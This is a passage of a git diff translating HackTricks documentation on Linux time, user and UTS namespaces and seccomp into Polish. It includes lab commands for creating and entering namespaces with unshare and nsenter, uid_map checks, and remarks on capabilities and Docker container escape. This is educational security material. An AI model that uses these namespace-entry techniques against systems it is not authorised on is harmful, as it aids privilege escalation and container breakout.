-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (identyfikator procesu). Kluczowe szczegóły oraz rozwiązanie są przedstawione poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji, `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni staje się PID 1. Gdy ten proces kończy działanie, uruchamia sprzątanie przestrzeni nazw, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania procesów osieroconych. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni prowadzi do usunięcia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzieleniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni. `/bin/bash` i jego procesy potomne są następnie bezpiecznie zawarte w tej nowej przestrzeni, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Sprawdź, w której przestrzeni nazw znajduje się twój proces ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces - +### Znajdź wszystkie przestrzenie nazw czasu ```bash sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Time namespace - +### Wejdź do przestrzeni nazw czasu ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 88d39ccc6..31638b967 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -2,102 +2,87 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +User namespace to funkcja jądra Linux, która **zapewnia izolację mapowań identyfikatorów użytkowników i grup**, pozwalając każdemu user namespace na posiadanie **własnego zestawu identyfikatorów użytkowników i grup**. Ta izolacja umożliwia procesom działającym w różnych user namespaces **posiadanie różnych uprawnień i własności**, nawet jeśli dzielą te same identyfikatory użytkowników i grup numerycznie. -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +User namespaces są szczególnie przydatne w konteneryzacji, gdzie każdy kontener powinien mieć swój niezależny zestaw identyfikatorów użytkowników i grup, co pozwala na lepsze bezpieczeństwo i izolację między kontenerami a systemem gospodarza. -### How it works: +### Jak to działa: -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. Gdy nowy user namespace jest tworzony, **zaczyna się od pustego zestawu mapowań identyfikatorów użytkowników i grup**. Oznacza to, że każdy proces działający w nowym user namespace **początkowo nie będzie miał uprawnień poza namespace**. +2. Mapowania identyfikatorów mogą być ustalane między identyfikatorami użytkowników i grup w nowym namespace a tymi w namespace nadrzędnym (lub gospodarzu). To **pozwala procesom w nowym namespace na posiadanie uprawnień i własności odpowiadających identyfikatorom użytkowników i grup w namespace nadrzędnym**. Jednak mapowania identyfikatorów mogą być ograniczone do określonych zakresów i podzbiorów identyfikatorów, co pozwala na precyzyjną kontrolę nad uprawnieniami przyznawanymi procesom w nowym namespace. +3. W obrębie user namespace, **procesy mogą mieć pełne uprawnienia roota (UID 0) do operacji wewnątrz namespace**, jednocześnie mając ograniczone uprawnienia poza namespace. To pozwala **kontenerom działać z możliwościami podobnymi do roota w swoim własnym namespace bez posiadania pełnych uprawnień roota w systemie gospodarza**. +4. Procesy mogą przemieszczać się między namespaces za pomocą wywołania systemowego `setns()` lub tworzyć nowe namespaces za pomocą wywołań systemowych `unshare()` lub `clone()` z flagą `CLONE_NEWUSER`. Gdy proces przemieszcza się do nowego namespace lub go tworzy, zacznie używać mapowań identyfikatorów użytkowników i grup związanych z tym namespace. -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych Namespaces #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montując nową instancję systemu plików `/proc`, używając parametru `--mount-proc`, zapewniasz, że nowa przestrzeń montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni**.
-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (identyfikator procesu). Kluczowe szczegóły oraz rozwiązanie są przedstawione poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji, `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni staje się PID 1. Gdy ten proces kończy działanie, uruchamia czyszczenie przestrzeni nazw, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania procesów osieroconych. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni prowadzi do wyczyszczenia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzieleniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni. `/bin/bash` i jego procesy potomne są wtedy bezpiecznie zawarte w tej nowej przestrzeni, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +Aby używać przestrzeni nazw użytkownika, demon Dockera musi być uruchomiony z **`--userns-remap=default`** (W Ubuntu 14.04 można to zrobić, modyfikując `/etc/default/docker`, a następnie wykonując `sudo service docker restart`) -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### Sprawdź, w której przestrzeni nazw znajduje się twój proces ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +Można sprawdzić mapę użytkowników z kontenera docker za pomocą: ```bash cat /proc/self/uid_map - 0 0 4294967295 --> Root is root in host - 0 231072 65536 --> Root is 231072 userid in host +0 0 4294967295 --> Root is root in host +0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +Lub z hosta za pomocą: ```bash cat /proc//uid_map ``` - -### Find all User namespaces - +### Znajdź wszystkie przestrzenie nazw użytkowników ```bash sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a User namespace - +### Wejdź do przestrzeni nazw użytkownika ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +Możesz **wejść do innej przestrzeni nazw procesów tylko jako root**. I **nie możesz** **wejść** do innej przestrzeni nazw **bez deskryptora** wskazującego na nią (takiego jak `/proc/self/ns/user`). -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) - +### Utwórz nową przestrzeń nazw użytkownika (z mapowaniami) ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` @@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` +### Odzyskiwanie możliwości -### Recovering Capabilities +W przypadku przestrzeni nazw użytkowników, **gdy nowa przestrzeń nazw użytkowników jest tworzona, proces, który wchodzi do tej przestrzeni, otrzymuje pełny zestaw możliwości w tej przestrzeni**. Te możliwości pozwalają procesowi na wykonywanie operacji uprzywilejowanych, takich jak **montowanie** **systemów plików**, tworzenie urządzeń czy zmiana właściciela plików, ale **tylko w kontekście jego przestrzeni nazw użytkowników**. -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. - -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +Na przykład, gdy masz możliwość `CAP_SYS_ADMIN` w przestrzeni nazw użytkowników, możesz wykonywać operacje, które zazwyczaj wymagają tej możliwości, takie jak montowanie systemów plików, ale tylko w kontekście swojej przestrzeni nazw użytkowników. Jakiekolwiek operacje, które wykonasz z tą możliwością, nie wpłyną na system gospodarza ani inne przestrzenie nazw. > [!WARNING] -> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. - +> Dlatego, nawet jeśli uzyskanie nowego procesu w nowej przestrzeni nazw użytkowników **przywróci ci wszystkie możliwości** (CapEff: 000001ffffffffff), w rzeczywistości możesz **używać tylko tych związanych z przestrzenią nazw** (na przykład montowanie), a nie wszystkich. Tak więc, samo to nie wystarczy, aby uciec z kontenera Docker. ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -144,5 +127,4 @@ Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 62b92742a..c5c2195f7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -2,77 +2,67 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +Namespace UTS (UNIX Time-Sharing System) to funkcja jądra Linux, która zapewnia **izolację dwóch identyfikatorów systemowych**: **nazwy hosta** i **nazwy domeny NIS** (Network Information Service). Ta izolacja pozwala każdemu namespace UTS mieć **własną niezależną nazwę hosta i nazwę domeny NIS**, co jest szczególnie przydatne w scenariuszach konteneryzacji, gdzie każdy kontener powinien wyglądać jak oddzielny system z własną nazwą hosta. -### How it works: +### Jak to działa: -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. Gdy nowy namespace UTS jest tworzony, zaczyna od **kopii nazwy hosta i nazwy domeny NIS z jego rodzicielskiego namespace**. Oznacza to, że przy tworzeniu nowy namespace **dzieli te same identyfikatory co jego rodzic**. Jednak wszelkie późniejsze zmiany w nazwie hosta lub nazwie domeny NIS w obrębie namespace nie wpłyną na inne namespace. +2. Procesy w obrębie namespace UTS **mogą zmieniać nazwę hosta i nazwę domeny NIS** za pomocą wywołań systemowych `sethostname()` i `setdomainname()`, odpowiednio. Te zmiany są lokalne dla namespace i nie wpływają na inne namespace ani na system gospodarza. +3. Procesy mogą przemieszczać się między namespace za pomocą wywołania systemowego `setns()` lub tworzyć nowe namespace za pomocą wywołań systemowych `unshare()` lub `clone()` z flagą `CLONE_NEWUTS`. Gdy proces przemieszcza się do nowego namespace lub tworzy jeden, zacznie używać nazwy hosta i nazwy domeny NIS związanej z tym namespace. -## Lab: +## Laboratorium: -### Create different Namespaces +### Tworzenie różnych namespace #### CLI - ```bash sudo unshare -u [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +Montując nową instancję systemu plików `/proc`, używając parametru `--mount-proc`, zapewniasz, że nowa przestrzeń montowania ma **dokładny i izolowany widok informacji o procesach specyficznych dla tej przestrzeni nazw**.
-Error: bash: fork: Cannot allocate memory +Błąd: bash: fork: Nie można przydzielić pamięci -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Gdy `unshare` jest wykonywane bez opcji `-f`, napotykany jest błąd z powodu sposobu, w jaki Linux obsługuje nowe przestrzenie nazw PID (identyfikator procesu). Kluczowe szczegóły i rozwiązanie są opisane poniżej: -1. **Problem Explanation**: +1. **Wyjaśnienie problemu**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Jądro Linuxa pozwala procesowi na tworzenie nowych przestrzeni nazw za pomocą wywołania systemowego `unshare`. Jednak proces, który inicjuje tworzenie nowej przestrzeni nazw PID (nazywany "procesem unshare"), nie wchodzi do nowej przestrzeni nazw; tylko jego procesy potomne to robią. +- Uruchomienie `%unshare -p /bin/bash%` uruchamia `/bin/bash` w tym samym procesie co `unshare`. W konsekwencji, `/bin/bash` i jego procesy potomne znajdują się w oryginalnej przestrzeni nazw PID. +- Pierwszy proces potomny `/bin/bash` w nowej przestrzeni nazw staje się PID 1. Gdy ten proces kończy działanie, uruchamia czyszczenie przestrzeni nazw, jeśli nie ma innych procesów, ponieważ PID 1 ma specjalną rolę przyjmowania procesów osieroconych. Jądro Linuxa wyłączy wtedy przydzielanie PID w tej przestrzeni nazw. -2. **Consequence**: +2. **Konsekwencja**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Zakończenie PID 1 w nowej przestrzeni nazw prowadzi do usunięcia flagi `PIDNS_HASH_ADDING`. Skutkuje to niepowodzeniem funkcji `alloc_pid` w przydzieleniu nowego PID podczas tworzenia nowego procesu, co skutkuje błędem "Nie można przydzielić pamięci". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rozwiązanie**: +- Problem można rozwiązać, używając opcji `-f` z `unshare`. Ta opcja sprawia, że `unshare` fork'uje nowy proces po utworzeniu nowej przestrzeni nazw PID. +- Wykonanie `%unshare -fp /bin/bash%` zapewnia, że polecenie `unshare` samo staje się PID 1 w nowej przestrzeni nazw. `/bin/bash` i jego procesy potomne są następnie bezpiecznie zawarte w tej nowej przestrzeni nazw, co zapobiega przedwczesnemu zakończeniu PID 1 i umożliwia normalne przydzielanie PID. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Zapewniając, że `unshare` działa z flagą `-f`, nowa przestrzeń nazw PID jest prawidłowo utrzymywana, co pozwala na działanie `/bin/bash` i jego podprocesów bez napotkania błędu przydzielania pamięci.
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Sprawdź, w którym namespace znajduje się twój proces ```bash ls -l /proc/self/ns/uts lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]' ``` - -### Find all UTS namespaces - +### Znajdź wszystkie przestrzenie nazw UTS ```bash sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an UTS namespace - +### Wejdź do przestrzeni nazw UTS ```bash nsenter -u TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index 17ec393d2..284a0d9d7 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them. +**Seccomp**, czyli tryb bezpiecznego obliczania, to funkcja zabezpieczeń **jądra Linuxa zaprojektowana do filtrowania wywołań systemowych**. Ogranicza procesy do ograniczonego zestawu wywołań systemowych (`exit()`, `sigreturn()`, `read()` i `write()` dla już otwartych deskryptorów plików). Jeśli proces spróbuje wywołać cokolwiek innego, zostaje zakończony przez jądro za pomocą SIGKILL lub SIGSYS. Ten mechanizm nie wirtualizuje zasobów, ale izoluje proces od nich. -There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`. +Istnieją dwa sposoby aktywacji seccomp: poprzez wywołanie systemowe `prctl(2)` z `PR_SET_SECCOMP`, lub dla jąder Linuxa 3.17 i nowszych, wywołanie systemowe `seccomp(2)`. Starsza metoda włączania seccomp poprzez zapis do `/proc/self/seccomp` została wycofana na rzecz `prctl()`. -An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux. +Ulepszenie, **seccomp-bpf**, dodaje możliwość filtrowania wywołań systemowych z dostosowywaną polityką, wykorzystując zasady Berkeley Packet Filter (BPF). To rozszerzenie jest wykorzystywane przez oprogramowanie takie jak OpenSSH, vsftpd oraz przeglądarki Chrome/Chromium na Chrome OS i Linuxie do elastycznego i efektywnego filtrowania wywołań systemowych, oferując alternatywę dla teraz nieobsługiwanego systrace dla Linuxa. -### **Original/Strict Mode** - -In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +### **Tryb oryginalny/ścisły** +W tym trybie Seccomp **pozwala tylko na wywołania systemowe** `exit()`, `sigreturn()`, `read()` i `write()` dla już otwartych deskryptorów plików. Jeśli zostanie wykonane jakiekolwiek inne wywołanie systemowe, proces zostaje zabity za pomocą SIGKILL. ```c:seccomp_strict.c #include #include @@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read( int main(int argc, char **argv) { - int output = open("output.txt", O_WRONLY); - const char *val = "test"; +int output = open("output.txt", O_WRONLY); +const char *val = "test"; - //enables strict seccomp mode - printf("Calling prctl() to set seccomp strict mode...\n"); - prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); +//enables strict seccomp mode +printf("Calling prctl() to set seccomp strict mode...\n"); +prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); - //This is allowed as the file was already opened - printf("Writing to an already open file...\n"); - write(output, val, strlen(val)+1); +//This is allowed as the file was already opened +printf("Writing to an already open file...\n"); +write(output, val, strlen(val)+1); - //This isn't allowed - printf("Trying to open file for reading...\n"); - int input = open("output.txt", O_RDONLY); +//This isn't allowed +printf("Trying to open file for reading...\n"); +int input = open("output.txt", O_RDONLY); - printf("You will not see this message--the process will be killed first\n"); +printf("You will not see this message--the process will be killed first\n"); } ``` - ### Seccomp-bpf -This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. - +Ten tryb pozwala na **filtrowanie wywołań systemowych za pomocą konfigurowalnej polityki** wdrożonej przy użyciu reguł Berkeley Packet Filter. ```c:seccomp_bpf.c #include #include @@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple //gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) { - /* initialize the libseccomp context */ - scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); +/* initialize the libseccomp context */ +scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); - /* allow exiting */ - printf("Adding rule : Allow exit_group\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); +/* allow exiting */ +printf("Adding rule : Allow exit_group\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); - /* allow getting the current pid */ - //printf("Adding rule : Allow getpid\n"); - //seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); +/* allow getting the current pid */ +//printf("Adding rule : Allow getpid\n"); +//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); - printf("Adding rule : Deny getpid\n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); - /* allow changing data segment size, as required by glibc */ - printf("Adding rule : Allow brk\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); +printf("Adding rule : Deny getpid\n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0); +/* allow changing data segment size, as required by glibc */ +printf("Adding rule : Allow brk\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); - /* allow writing up to 512 bytes to fd 1 */ - printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); - seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, - SCMP_A0(SCMP_CMP_EQ, 1), - SCMP_A2(SCMP_CMP_LE, 512)); +/* allow writing up to 512 bytes to fd 1 */ +printf("Adding rule : Allow write upto 512 bytes to FD 1\n"); +seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2, +SCMP_A0(SCMP_CMP_EQ, 1), +SCMP_A2(SCMP_CMP_LE, 512)); - /* if writing to any other fd, return -EBADF */ - printf("Adding rule : Deny write to any FD except 1 \n"); - seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, - SCMP_A0(SCMP_CMP_NE, 1)); +/* if writing to any other fd, return -EBADF */ +printf("Adding rule : Deny write to any FD except 1 \n"); +seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1, 